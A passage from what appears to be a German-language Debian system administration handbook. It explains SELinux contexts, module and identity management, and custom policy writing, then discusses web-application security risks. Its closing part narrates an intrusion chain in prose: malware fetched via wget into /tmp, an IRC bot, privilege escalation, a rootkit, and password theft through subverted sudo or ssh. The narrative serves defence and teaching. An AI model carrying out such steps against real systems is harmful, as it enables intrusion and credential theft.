Standardmäßig übernimmt ein Programm die Domain des Nutzers, der es gestartet hat, aber die normalen SELinux-Regeln erwarten, dass viele wichtige Programme in speziell für sie vorgesehenen Domains laufen. Um dies zu erreichen, werden diese ausführbaren Dateien mit einem fest zugeordneten Typ gekennzeichnet (zum Beispiel wird ssh mit ssh_exec_t gekennzeichnet und wenn das Programm startet, wechselt es selbstständig in die Domain ssh_t). Dieser automatische Vorgang des Domainwechsels ermöglicht es, jedem Programm nur die Berechtigungen zu gewähren, die es benötigt. Dies ist ein wesentliches Prinzip von SELinux.

Abbildung 14.2. Selbstständige Übergänge zwischen Domains

IN DER PRAXIS Den Sicherheitskontext finden

Um in einer Konsole den aktuellen Sicherheitskontext festzustellen, kann man den Befehl id -Z aufrufen.

$ id -Z unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

If you receive a message saying id: --context (-Z) works only on an SELinux-enabled kernel instead, then you need to enable SELinux first by running selinux-activate and rebooting.

Um den Sicherheitskontext eines bestimmten Prozesses festzustellen, kann die Option Z des Befehls ps verwendet werden.

$ ps axZ | grep vstfpd system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd

Das erste Feld enthält durch Doppelpunkte getrennt die Identität, die Rolle, die Domain und die MCS-Stufe. Die MCS-Stufe (Multi-Category Security) ist ein Parameter, der beim Aufbau einer Regel zum Schutz der Vertraulichkeit eingreift, die den Zugriff auf Dateien in Abhängigkeit von ihrer Sensibilität regelt. Dieses Leistungsmerkmal wird in diesem Buch nicht erläutert.

Um schließlich auch den Typ festzustellen, der einer Datei zugeordnet ist, kann man den Befehl ls -Z verwenden.

$ ls -Z test /usr/bin/ssh unconfined_u:object_r:user_home_t:s0 test system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

Man sollte beachten, dass die Identität und die Rolle, die einer Datei zugewiesen sind, keine besondere Bedeutung haben (sie werden nie benutzt), aber aus Gründen der Einheitlichkeit wird allen Objekten ein vollständiger Sicherheitskontext zugeordnet.

14.5.2. SELinux einrichten

Die Unterstützung von SELinux ist in den von Debian bereitgestellten Standard-Kerneln enthalten. Die Kernprogramme von Unix unterstützen SELinux ohne Änderungen. Es ist daher recht einfach, SELinux zu aktivieren.

The apt install selinux-basics selinux-policy-default auditd command will automatically install the packages required to configure an SELinux system.

Das Paket selinux-policy-default enthält einen Satz von Standardregeln. Standardmäßig beschränkt dieses Regelwerk nur den Zugang für einige besonders gefährdete Dienste. Die Nutzersitzungen sind nicht eingeschränkt und es ist daher unwahrscheinlich, dass SELinux legitime Nutzeraktionen blockieren würde. Dieses erhöht jedoch die Sicherheit von Systemdiensten, die auf dem Rechner laufen. Um ein Regelwerk einzurichten, das den alten „strengen“ Regeln entspricht, müssen Sie nur das Modul unconfined deaktivieren (die Modulverwaltung wird in diesem Kapitel ausführlich beschrieben).

Sobald das Regelwerk installiert ist, sollten Sie alle verfügbaren Dateien kennzeichnen (das heißt, sie einem Typ zuzuordnen). Dieser Vorgang muss mit dem Befehl fixfiles relabel von Hand gestartet werden.

Das SELinux-System ist nun einsatzbereit. Um es zu aktivieren, sollten Sie den Parameter selinux=1 security=selinux zum Linux-Kernel hinzufügen. Der Parameter audit=1 aktiviert bei SELinux das Protokollieren, durch das alle unterbundenen Vorgänge aufgezeichnet werden. Schließlich bringt der Parameter enforcing=1 das Regelwerk zur Anwendung: ohne ihn läuft SELinux in seinem standardmäßigen permissive-Modus, bei dem unterbundene Vorgänge zwar protokolliert, aber dennoch ausgeführt werden. Sie sollten daher die Konfigurationsdatei des GRUB-Bootloaders anpassen, indem Sie die gewünschten Parameter anhängen. Ein einfacher Weg, dies zu tun, besteht darin, die Variable GRUB_CMDLINE_LINUX in der Datei /etc/default/grub zu ändern und dann den Befehl update-grub auszuführen. SELinux ist dann nach einem Neustart aktiv.

Es sei darauf hingewiesen, dass das Skript selinux-activate diese Vorgänge automatisiert und das Kennzeichnen der Dateien beim nächsten Rechnerstart erzwingt (wodurch vermieden wird, dass neue nicht gekennzeichnete Dateien erstellt werden, während SELinux noch nicht aktiv ist und das Kennzeichnen noch andauert).

14.5.3. Ein SELinux-System verwalten

Das SELinux-Regelwerk ist ein modularer Satz von Regeln und mit seiner Installierung werden automatisch alle relevanten Module entsprechend den bereits installierten Diensten erkannt und aktiviert. Das System ist hierdurch sofort funktionsfähig. Wenn jedoch ein Dienst später als das SELinux-Regelwerk installiert wird, müssen Sie in der Lage sein, das entsprechende Modul manuell zu aktivieren. Hierzu dient der Befehl semodule. Darüber hinaus müssen Sie in der Lage sein, die Rollen festzulegen, die jeder Nutzer bestätigen kann. Dies geschieht mit dem Befehl semanage.

Diese beiden Befehle können somit dazu benutzt werden, die aktuelle SELinux-Konfiguration, die in /etc/selinux/default/ gespeichert ist, zu ändern. Im Gegensatz zu anderen Konfigurationsdateien, die Sie in /etc/ finden, dürfen diese Dateien nicht manuell verändert werden. Sie sollten hierzu die für diesen Zweck vorgesehenen Programme verwenden.

WEITERE SCHRITTE Weitere Unterlagen

Da die NSA keine offiziellen Unterlagen bereitstellt, hat die Gemeinschaft zum Ausgleich ein Wiki eingerichtet. Es bündelt viele Informationen, jedoch müssen Sie sich bewusst sein, dass die meisten SELinux-Mitwirkenden Fedora-Benutzer sind (bei dem SELinux standardmäßig aktiviert ist). Die Dokumentation neigt daher dazu, sich vor allem mit dieser Distribution zu beschäftigen.

→ https://selinuxproject.org

You should also have a look at the dedicated Debian wiki page.

→ https://wiki.debian.org/SELinux

14.5.3.1. SELinux-Module verwalten

Verfügbare SELinux-Module sind im Verzeichnis /usr/share/selinux/default/ gespeichert. Um eines dieser Module in der aktuellen Konfiguration zu aktivieren, sollten Sie den Befehl semodule -i Modul.pp.bz2 benutzen. Die Erweiterung pp.bz2 steht für policy package (komprimiert mit bzip2).

Das Entfernen eines Moduls aus der aktuellen Konfiguration erfolgt mit semodule -r module. Letztendlich listet der Befehl semodule -l die aktuell installierten Module auf. Es gibt auch deren Versionsnummern aus. Module können selektiv mit semodul -e aktiviert und mit semodul -d deaktiviert werden.

# semodule -i /usr/share/selinux/default/abrt.pp.bz2 libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system. # semodule -l accountsd acct [...] # semodule -e abrt # semodule -d accountsd # semodule -l abrt acct [...] # semodule -r abrt libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active.

semodule lädt die neue Konfiguration unmittelbar, es sei denn, Sie verwenden seine Option -n. Es sei darauf hingewiesen, dass das Programm standardmäßig auf die aktuelle Konfiguration wirkt (die unter der Variablen SELINUXTYPE in der Datei /etc/selinux/config angegeben ist), aber Sie können eine andere ändern, indem Sie sie mit der Option -s vorgeben.

14.5.3.2. Identitäten verwalten

Jedes Mal, wenn sich ein Benutzer anmeldet, wird ihm eine SELinux-Identität zugewiesen. Diese bestimmt die Rollen, die er bestätigen kann. Diese beiden Zuordnungen (des Benutzers zur Identität und der Identität zu den Rollen) können mit dem Befehl semanage konfiguriert werden.

You should definitely read the semanage(8) manual page. All the managed concepts have their own manual page; for instance, semanage-login(8). Even if the command's syntax tends to be similar for all the concepts which are managed, it is recommended to read its manual page. You will find common options to most subcommands: -a to add, -d to delete, -m to modify, -l to list, and -t to indicate a type (or domain).

semanage login -l führt die aktuellen Zuordnungen zwischen Benutzerkennungen und SELinux-Identitäten auf. Benutzer, die keinen ausdrücklichen Eintrag haben, erhalten die Identität, die im Eintrag __default__ angegeben ist. Der Befehl semanage login -a -s user_u benutzer ordnet die Identität user_u dem angegebenen Benutzer zu. Schließlich entfernt der Befehl semanage login -d benutzer den Zuordnungseintrag, der an diesen Benutzer vergeben war.

# semanage login -a -s user_u rhertzog # semanage login -l Login Name SELinux User MLS/MCS Range Service __default__ unconfined_u s0-s0:c0.c1023 * rhertzog user_u s0 * root unconfined_u s0-s0:c0.c1023 * # semanage login -d rhertzog

semanage user -l führt die Zuordnungen zwischen den SELinux-Benutzeridentitäten und den erlaubten Rollen auf. Um eine neue Identität hinzuzufügen, ist es erforderlich, sowohl die entsprechenden Rollen als auch ein kennzeichnendes Präfix festzulegen, das dazu benutzt wird, einem Typ persönliche Dateien (/home/benutzer/*) zuzuordnen. Als Präfix muss user, staff oder sysadm gewählt werden. Das Präfix „staff“ ergibt Dateien des Typs „staff_home_dir_t“. Das Erstellen einer neuen SELinux-Benutzeridentität geschieht mit dem Befehl semanage user -a -R rollen -P präfix identität. Schließlich kann eine SELinux-Benutzeridentität mit dem Befehl semanage user -d identität entfernt werden.

# semanage user -a -R 'staff_r user_r' -P staff test_u # semanage user -l Labeling MLS/ MLS/ SELinux User Prefix MCS Level MCS Range SELinux Roles root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r system_u user s0 s0-s0:c0.c1023 system_r test_u staff s0 s0 staff_r user_r unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r user_u user s0 s0 user_r # semanage user -d test_u

14.5.3.3. Dateikontexte, Ports und Boolesche Optionen verwalten

Jedes SELinux-Modul stellt einen Satz von Dateibezeichnungsregeln zur Verfügung, aber es ist auch möglich, eigene Bezeichnungsregeln hinzuzufügen, um einen speziellen Fall abzudecken. Wenn Sie zum Beispiel möchten, dass der Webserver in der Lage ist, Dateien innerhalb der /srv/www/-Dateihierarchie zu lesen, könnten Sie semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?" gefolgt von restorecon -R /srv/www/ ausführen. Der erste Befehl registriert die neue Bezeichnungsregel und der zweite gleicht die Dateitypen gemäß den derzeitigen Bezeichnungsregeln an.

Ebenso sind die TCP/UDP-Ports in einer Weise gekennzeichnet, die sicherstellt, dass nur die entsprechenden Daemons an ihnen Verbindungen annehmen können. Wenn Sie zum Beispiel möchten, dass der Web-Server am Port 8080 Verbindungen annehmen kann, sollten Sie den Befehl semanage port -m -t http_port_t -p tcp 8080 ausführen.

Some SELinux modules export Boolean options that you can tweak to alter the behavior of the default rules. The getsebool utility can be used to inspect those options (getsebool boolean displays one option, and getsebool -a them all). The setsebool boolean value command changes the current value of a Boolean option. The -P option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in ~/public_html/).

# getsebool httpd_enable_homedirs httpd_enable_homedirs --> off # setsebool -P httpd_enable_homedirs on # getsebool httpd_enable_homedirs httpd_enable_homedirs --> on

14.5.4. Die Regeln anpassen

Da das SELinux-Regelwerk modular ist, könnte es interessant sein, neue Module für (möglicherweise maßgefertigte) Anwendungen zu entwickeln, für die es diese noch nicht gibt. Diese neuen Module würden dann die Referenzrichtlinien ergänzen.

Zur Erstellung neuer Module werden die Pakete selinux-policy-dev und selinux-policy-doc benötigt. Letzteres enthält die Dokumentation der Standardregeln (/usr/share/doc/selinux-policy-doc/html/) und Beispieldateien, die als Vorlagen für die Erstellung neuer Module verwendet werden können. Installieren Sie diese Dateien und untersuchen Sie sie genauer:

$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile $ cp /usr/share/doc/selinux-policy-doc/example.fc ./ $ cp /usr/share/doc/selinux-policy-doc/example.if ./ $ cp /usr/share/doc/selinux-policy-doc/example.te ./

Die Datei .te ist die wichtigste. Sie legt die Regeln fest. Die Datei .fc bestimmt die „Dateikontexte“, das heißt, die Typen, die den auf diese Module bezogenen Dateien zugeordnet sind. Die in der Datei .fc befindlichen Daten werden während des Dateikennzeichnungsschrittes benutzt. Schließlich legt die Datei .if die Schnittstelle der Module fest: es ist ein Satz „öffentlicher Funktionen“, die andere Module verwenden können, um ordnungsgemäß mit dem Modul, das Sie erstellen, zu interagieren.

14.5.4.1. Eine .fc-Datei schreiben

Das Lesen des unten stehenden Beispiels sollte genügen, um die Struktur einer derartigen Datei zu verstehen. Sie können reguläre Ausdrücke verwenden, um denselben Sicherheitskontext mehreren Dateien zuzuordnen oder auch einem ganzen Verzeichnisbaum.

Beispiel 14.2. beispiel.fc-Datei

# myapp executable will have: # label: system_u:object_r:myapp_exec_t # MLS sensitivity: s0 # MCS categories: <none> /usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)

14.5.4.2. Eine .if-Datei schreiben

In unten stehendem Beispiel kontrolliert die erste Schnittstelle („myapp_domtrans“), wer die Anwendung ausführen kann. Die zweite („myapp_read_log“) gewährt Schreibzugriff auf die Protokolldateien der Anwendung.

Jede Schnittstelle muss einen gültigen Regelsatz erzeugen, der in eine .te-Datei eingegliedert werden kann. Sie sollten daher alle Typen, die Sie verwenden, festlegen (mit dem Makro gen_require) und Standardanweisungen benutzen, um Berechtigungen zu vergeben. Beachten Sie jedoch, dass Sie auch Schnittstellen benutzen können, die von anderen Modulen bereitgestellt werden. Der nächste Abschnitt gibt weitere Erläuterungen darüber, wie diese Berechtigungen ausgedrückt werden können.

Beispiel 14.3. beispiel.if-Datei

## <summary>Myapp example policy</summary> ## <desc> ## <p> ## More descriptive text about myapp. The desc ## tag can also use p, ul, and ol ## html tags for formatting. ## </p> ## <p> ## This policy supports the following myapp features: ## <ul> ## <li>Feature A</li> ## <li>Feature B</li> ## <li>Feature C</li> ## </ul> ## </p> ## </desc> # ######################################## ## <summary> ## Execute a domain transition to run myapp. ## </summary> ## <param name="domain"> ## <summary> ## Domain allowed to transition. ## </summary> ## </param> # interface(`myapp_domtrans',` gen_require(` type myapp_t, myapp_exec_t; ') domtrans_pattern($1,myapp_exec_t,myapp_t) ') ######################################## ## <summary> ## Read myapp log files. ## </summary> ## <param name="domain"> ## <summary> ## Domain allowed to read the log files. ## </summary> ## </param> # interface(`myapp_read_log',` gen_require(` type myapp_log_t; ') logging_search_logs($1) allow $1 myapp_log_t:file read_file_perms; ')

DOKUMENTATION Erläuterungen zu den Referenzrichtlinien

Die Referenzrichtlinien entwickeln sich wie jedes freie Softwareprojekt: auf der Grundlage freiwilliger Beiträge. Das Projekt wird von Tresys gehostet, einem der aktivsten Unternehmen im Bereich SELinux. Sein Wiki enthält Erläuterungen darüber, wie die Regeln strukturiert sind und wie Sie neue erstellen können.

→ https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted

14.5.4.3. Eine .te-Datei schreiben

Sehen Sie sich die example.te-Datei an:

WEITERE SCHRITTE Die Makrosprache m4

Die SELinux-Entwickler verwendeten einen Makro-Befehlsprozessor, um die Richtlinien ordentlich zu strukturieren. Anstatt viele ähnliche allow-Anweisungen zu duplizieren, haben sie „Makrofunktionen“ erstellt, um eine Logik auf höherer Ebene zu verwenden, die auch zu viel leichter lesbaren Richtlinien führt.

Konkret wird m4 benutzt, um diese Regeln zu kompilieren. Es führt den umgekehrten Vorgang durch: es erweitert alle diese auf hoher Ebene befindlichen Anweisungen zu einer großen Datenbank von allow-Anweisungen.

Die SELinux-„Schnittstellen“ sind lediglich Makrofunktionen, die bei der Kompilierung durch einen Regelsatz ersetzt werden. Desgleichen sind einige Berechtigungen in Wirklichkeit Sätze von Berechtigungen, die bei der Kompilierung durch ihre Werte ersetzt werden.

policy_module(example,1.0.0) # a non-base module name must match the file name ######################################## # # Declarations # type myapp_t; type myapp_exec_t; domain_type(myapp_t) domain_entry_file(myapp_t, myapp_exec_t) type myapp_log_t; logging_log_file(myapp_log_t) type myapp_tmp_t; files_tmp_file(myapp_tmp_t) ######################################## # # Myapp local policy # allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; allow myapp_t myapp_tmp_t:file manage_file_perms; files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

Das Modul muss mit seinem Namen und seiner Versionsnummer gekennzeichnet sein. Diese Anweisung ist obligatorisch.

Falls das Modul neue Typen einführt, muss es sie mit Anweisungen wie dieser festlegen. Zögern Sie nicht, so viele Typen zu erstellen, wie erforderlich sind, anstatt zu viele nutzlose Berechtigungen zu erteilen.

Diese Schnittstellen legen den Typ myapp_t als Prozess-Domain fest, die von jeder mit myapp_exec_t gekennzeichneten ausführbaren Datei benutzt werden sollte. Dies fügt diesen Objekten stillschweigend auch ein exec_type-Attribut hinzu, das seinerseits anderen Modulen ermöglicht, Berechtigungen zur Ausführung dieser Programme zu gewähren: zum Beispiel erlaubt das userdomain-Modul Prozessen mit den Domains user_t, staff_t und sysadm_t, sie auszuführen. Die Domains anderer eingeschränkter Anwendungen sind nicht berechtigt, sie auszuführen, es sei denn, die Regeln gewähren ihnen ähnliche Berechtigungen (dies trifft zum Beispiel auf dpkg mit seiner dpkg_t-Domain zu).

logging_log_file ist eine von den Referenzrichtlinien bereitgestellte Schnittstelle. Sie zeigt an, dass mit diesem Typ gekennzeichnete Dateien Protokolldateien sind, die die entsprechenden Regeln wahrnehmen können sollten (zum Beispiel dem Befehl logrotate Berechtigungen erteilen, sodass er sie handhaben kann).

Die allow-Anweisung ist die grundlegende Anweisung zur Genehmigung eines Vorgangs. Der erste Parameter ist die Prozess-Domain, der es erlaubt ist, den Vorgang auszuführen. Der zweite legt das Objekt fest, das ein Prozess der zuvor genannten Domain handhaben darf. Dieser Parameter hat die Form „type:class“, wobei type sein SELinux-Typ ist und class die Art des Objekts beschreibt (Datei, Verzeichnis, Socket, FIFO usw.). Schließlich beschreibt der letzte Parameter die Berechtigungen (die erlaubten Vorgänge).

Berechtigungen sind als Satz erlaubter Vorgänge festgelegt und entsprechen diesem Schema: { vorgang1 vorgang2 }. Jedoch können Sie auch Makros verwenden, die die nützlichsten Berechtigungen darstellen. Die Datei /usr/share/selinux/devel/include/support/obj_perm_sets.spt listet sie auf.

Die folgende Webseite bietet eine recht vollständige Liste von Objektklassen und von Berechtigungen, die gewährt werden können.

→ https://selinuxproject.org/page/ObjectClassesPerms

Jetzt müssen Sie lediglich den kleinsten Regelsatz finden, der erforderlich ist, damit die Anwendung oder der Dienst, auf die er abzielt, ordnungsgemäß funktionieren. Um dies zu erreichen, sollten Sie sich gut damit auskennen, wie die Anwendung funktioniert und welche Art von Daten sie verarbeitet oder erzeugt.

Jedoch ist auch eine auf Erfahrung beruhende Vorgehensweise möglich. Nachdem die relevanten Objekte richtig gekennzeichnet sind, können Sie die Anwendung im permissive-Modus benutzen: die Vorgänge, die verboten würden, werden protokolliert, werden aber weiterhin ausgeführt. Durch eine Analyse der Protokolle können Sie nun die Vorgänge identifizieren, die erlaubt werden sollen. Hier ist ein Beispiel eines derartigen Protokolleintrags:

avc: denied { read write } for pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1

Um diese Mitteilung besser verstehen zu können, gehen wir sie Schritt für Schritt durch.

Tabelle 14.1. Analyse eines SELinux-Ablaufs

Meldung | Beschreibung
avc: denied | Ein Vorgang wurde abgelehnt.
{ read write } | Dieser Vorgang erforderte die Berechtigungen read und write.
pid=1876 | Der Prozess mit der PID 1876 hat den Vorgang ausgeführt (oder hat versucht, ihn auszuführen).
comm="syslogd" | Der Prozess war eine Ausführung des Programms syslogd.
name="xconsole" | Das Zielobjekt wurde xconsole genannt. Manchmal kann man stattdessen eine "path"-Variable - mit dem vollen Pfad - haben.
dev=tmpfs | Das Gerät, auf dem sich das Zielobjekt befindet, ist ein tmpfs (ein im Arbeitsspeicher befindliches Dateisystem). Bei einer echten Platte würden Sie die Partition sehen, die das Objekt enthält (zum Beispiel „sda3“).
ino=5510 | Das Objekt ist mit der Inode-Nummer 5510 bezeichnet.
scontext=system_u:system_r:syslogd_t:s0 | Dies ist der Sicherheitskontext des Prozesses, der den Vorgang ausgeführt hat.
tcontext=system_u:object_r:device_t:s0 | Dies ist der Sicherheitskontext des Zielobjekts.
tclass=fifo_file | Das Zielobjekt ist eine FIFO-Datei.

Durch Betrachtung dieses Protokolleintrags ist es möglich, eine Regel zu erstellen, die diesen Vorgang erlauben würde. Zum Beispiel: allow syslogd_t device_t:fifo_file { read write }. Dieser Prozess kann automatisiert werden und genau dies bietet der Befehl audit2allow (aus dem Paket policycoreutils). Diese Herangehensweise ist nur sinnvoll, wenn die verschiedenen Objekte bereits in Übereinstimmung mit den erforderlichen Einschränkungen richtig gekennzeichnet sind. In jedem Fall müssen Sie die erzeugten Regeln sorgfältig überprüfen und sie auf der Grundlage ihrer Kenntnis der Anwendung bewerten. Faktisch tendiert diese Herangehensweise dazu, mehr Berechtigungen zu erteilen als tatsächlich erforderlich sind. Die richtige Lösung besteht häufig darin, neue Typen zu erstellen und dann nur diesen Typen Berechtigungen zu gewähren. Es kommt auch vor, dass ein verweigerter Vorgang für die Anwendung keine Folgen hat. In diesem Fall kann es besser sein, einfach eine „dontaudit“-Regel hinzuzufügen, um einen Protokolleintrag zu vermeiden, obwohl eine Verweigerung stattgefunden hat.

ERGÄNZUNGEN Keine Rollen in den Richtlinien

Es mag seltsam erscheinen, dass bei der Erstellung neuer Regeln Rollen überhaupt nicht auftreten. SELinux verwendet nur die Domains um herauszufinden, welche Vorgänge erlaubt sind. Die Rolle kommt nur indirekt zum Tragen, indem sie es dem Benutzer erlaubt, zu einer anderen Domain zu wechseln. SELinux basiert auf einer Theorie, die Type Enforcement heißt und der Typ ist das einzige Element, das bei der Gewährung von Berechtigungen zählt.

14.5.4.4. Die Dateien kompilieren

Sobald die 3 Dateien (example.if, example.fc und example.te) Ihren Erwartungen für die neuen Regeln entsprechen, benennen Sie sie in myappEndung um und führen Sie make NAME=devel aus, um ein Modul in der Datei myapp.pp zu erzeugen (Sie können es sofort mit semodule -i myapp.pp laden). Wenn mehrere Module definiert sind, erzeugt make alle entsprechenden .pp-Dateien.

14.6. Weitere sicherheitsbezogene Überlegungen

Sicherheit ist nicht nur ein technisches Problem; mehr als alles andere geht es dabei auch um bewährte Verfahrensweisen und um das Verständnis der Risiken. Dieser Abschnitt bespricht einige der häufigeren Risiken, sowie auch einige erprobte Verfahrensweisen, die je nach Sachlage entweder die Sicherheit erhöhen oder die Auswirkung eines erfolgreichen Angriffs verringern sollten.

14.6.1. Inhärente Risiken von Web-Anwendungen

Der universelle Charakter von Web-Anwendungen hat zu ihrer weiten Verbreitung geführt. Häufig laufen mehrere gleichzeitig: eine Web-Mail, ein Wiki, irgendein Gruppenarbeitssystem, Foren, eine Bildergalerie, ein Blog und so weiter. Viele dieser Anwendungen stützen sich auf den „LAMP“-Stack (Linux, Apache, MySQL, PHP). Leider wurden viele dieser Anwendungen auch ohne große Rücksicht auf Sicherheitsprobleme geschrieben. Von außen kommende Daten werden allzu häufig nach nur geringer ober gar keiner Überprüfung benutzt. Indem speziell hierfür ausgelegte Werte geliefert werden, kann der Aufruf eines Befehls unterlaufen werden, so dass stattdessen ein anderer ausgeführt wird. Viele dieser offensichtlichen Probleme sind im Laufe der Zeit behoben worden, jedoch treten regelmäßig neue Sicherheitsprobleme auf.

WÖRTERVERZEICHNIS SQL-Einschleusung

Wenn ein Programm Daten auf unsichere Weise in SQL-Anfragen einfügt, wird es anfällig für SQL-Einschleusungen; dieser Begriff bezieht sich auf den Austausch eines Parameters in einer Weise, dass die tatsächlich vom Programm ausgeführte Anfrage sich von der beabsichtigten unterscheidet, entweder um die Datenbank zu beschädigen oder um auf Daten zuzugreifen, die normalerweise nicht zugänglich sein sollten.

→ https://de.wikipedia.org/wiki/SQL-Injection

Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a “script kiddy“) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement.

14.6.2. Wissen, was zu erwarten ist

Eine Sicherheitslücke in einer Web-Anwendung wird häufig als Ausgangspunkt für einen Einbruchsversuch benutzt. Im Folgenden werden die möglichen Konsequenzen kurz dargestellt.

KURZER BLICK HTTP-Anfragen filtern

Apache 2 enthält Module, die das Filtern ankommender HTTP-Anfragen ermöglichen. Hierdurch können einige Angriffsvektoren gestoppt werden. Zum Beispiel können Pufferüberläufe durch die Begrenzung der Parameterlänge verhindert werden. Allgemeiner ausgedrückt, kann man Parameter überprüfen, schon bevor sie an die Web-Anwendung weitergeleitet werden und den Zugang aufgrund zahlreicher Kriterien einschränken. Dies kann sogar mit dynamischen Firewall-Aktualisierungen kombiniert werden, sodass ein Client, der eine der Regeln verletzt, für eine bestimmte Zeit vom Zugang zum Web-Server ausgeschlossen wird.

Das Einrichten dieser Überprüfungen kann eine lange und mühsame Aufgabe sein, sie kann sich aber auszahlen, wenn die Web-Anwendung, die eingesetzt werden soll, in Sicherheitsfragen eine zweifelhafte Erfolgsbilanz hat.

mod-security2 (im Paket libapache2-mod-security2) ist das wichtigste derartige Modul. Es kommt sogar mit vielen eigenen, gebrauchsfertigen Regeln (im mod-crs Paket), die Sie leicht aktivieren können.

The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. “Script-kiddies“ only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines.

Ein weiter fortgeschrittener Angreifer wird darüber hinausgehen. Ein Katastrophenszenario könnte folgendermaßen aussehen: der Angreifer erlangt die Fähigkeit, als Benutzer www-data-Befehle auszuführen. Jedoch erfordert die Ausführung eines Befehls zahlreiche Manipulationen. Um sich sein Leben leichter zu machen, installiert er andere Web-Anwendungen, die speziell dafür entworfen wurden, aus der Ferne zahlreiche Arten von Befehlen auszuführen, wie z.B. das Durchsuchen des Dateisystems, das Begutachten von Berechtigungen, das Hoch- oder Herunterladen von Dateien, die Ausführung von Befehlen und sogar das Bereitstellen einer Netzwerkkonsole. Häufig ermöglicht es eine Sicherheitslücke, einen wget-Befehl auszuführen, mit dem Schadsoftware in das Verzeichnis /tmp/ heruntergeladen wird, um sie dann auszuführen. Die Schadsoftware wird häufig von einer fremden Website heruntergeladen, die zuvor kompromittiert wurde, um so Spuren zu verwischen und das Finden des Ursprungs des Angriffs zu erschweren.

An diesem Punkt verfügt der Angreifer über ausreichende Bewegungsfreiheit, um einen IRC-bot zu installieren (einen Roboter, der sich mit einem IRC-Server verbindet und über diesen Kanal gesteuert werden kann). Dieser Bot wird häufig dazu verwendet, illegale Dateien zu tauschen (nicht autorisierte Kopien von Filmen oder Software und so weiter). Ein entschlossener Angreifer könnte sogar noch weitergehen wollen. Das Konto www-data erlaubt keinen vollständigen Zugang zum Rechner und der Angreifer wird versuchen, Administratorrechte zu erlangen. Nun sollte dies nicht möglich sein, aber wenn die Web-Anwendung nicht aktuell war, besteht das Risiko, dass der Kernel und weitere Programme ebenfalls veraltet sind; dies ergibt sich manchmal aus einer Entscheidung des Administrators, der, obwohl er die Sicherheitslücke kennt, es versäumt hat, das System zu aktualisieren, da es keine lokalen Benutzer gibt. Der Angreifer kann dann diese zweite Sicherheitslücke ausnutzen, um Root-Zugang zu erlangen.

WÖRTERVERZEICHNIS Rechteausweitung

Dieser Begriff umfasst alles, was dazu verwendet werden kann, höhere Berechtigungen zu erlangen, als ein bestimmter Benutzer normalerweise haben sollte. Das sudo-Programm dient genau dem Zweck, einigen Benutzern administrative Rechte zu geben. Derselbe Begriff wird aber auch verwendet, um die Tat eines Angreifers zu beschreiben, der eine Sicherheitslücke ausnutzt, um unangemessene Rechte zu erlangen.

Now the attacker owns the machine; they will usually try to keep this privileged access for as long as possible. This involves installing a rootkit, a program that will replace some components of the system so that the attacker will be able to obtain the administrator privileges again at a later time (see also KURZER BLICK Die Pakete checksecurity und chkrootkit/rkhunter); the rootkit also tries hiding its own existence as well as any traces of the intrusion. A subverted ps program will omit to list some processes, netstat will not list some of the active connections, and so on. Using the root permissions, the attacker was able to observe the whole system, but didn't find important data; so they will try accessing other machines in the corporate network. Analyzing the administrator's account and the history files, the attacker finds what machines are routinely accessed. By replacing sudo or ssh with a subverted program, the attacker can intercept some of the administrator's passwords, which they will use on the detected servers… and the intrusion can propagate from then on.

Dies ist ein Albtraumszenarium, das durch eine Reihe von Maßnahmen verhindert werden kann. Die nächsten Abschnitte beschreiben einige von ihnen.

14.6.3. Die Software wohlüberlegt auswählen

Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit.

WÖRTERVERZEICHNIS Sicherheitsaudit

Ein Sicherheitsaudit ist der Prozess, bei dem der Quellcode einer Software gründlich gelesen und analysiert wird, wobei nach möglichen Sicherheitslücken Ausschau gehalten wird, die er enthalten könnte. Derartige Audits sind gewöhnlich proaktiv und werden durchgeführt, um zu gewährleisten, dass ein Programm gewisse Sicherheitserfordernisse erfüllt.

In der Welt der freien Software besteht im allgemeinen große Wahlfreiheit und eine Software einer anderen vorzuziehen, sollte eine Entscheidung sein, die auf örtlich gültigen Kriterien beruht. Eine höhere Anzahl von Leistungsmerkmalen bringt auch ein erhöhtes Risiko einer Sicherheitslücke mit sich, die im Code verborgen sein könnte; es kann auch kontraproduktiv sein, das am weitesten entwickelte Programm zu wählen und ein besserer Ansatz besteht gewöhnlich darin, das einfachste Programm, das die Erfordernisse erfüllt, auszuwählen.

WÖRTERVERZEICHNIS Zero-Day-Exploit

Eine Zero-Day-Attacke ist kaum zu verhindern; der Begriff beschreibt eine Sicherheitslücke, die den Autoren des Programms noch nicht bekannt ist.

14.6.4. Einen Rechner als Ganzes verwalten

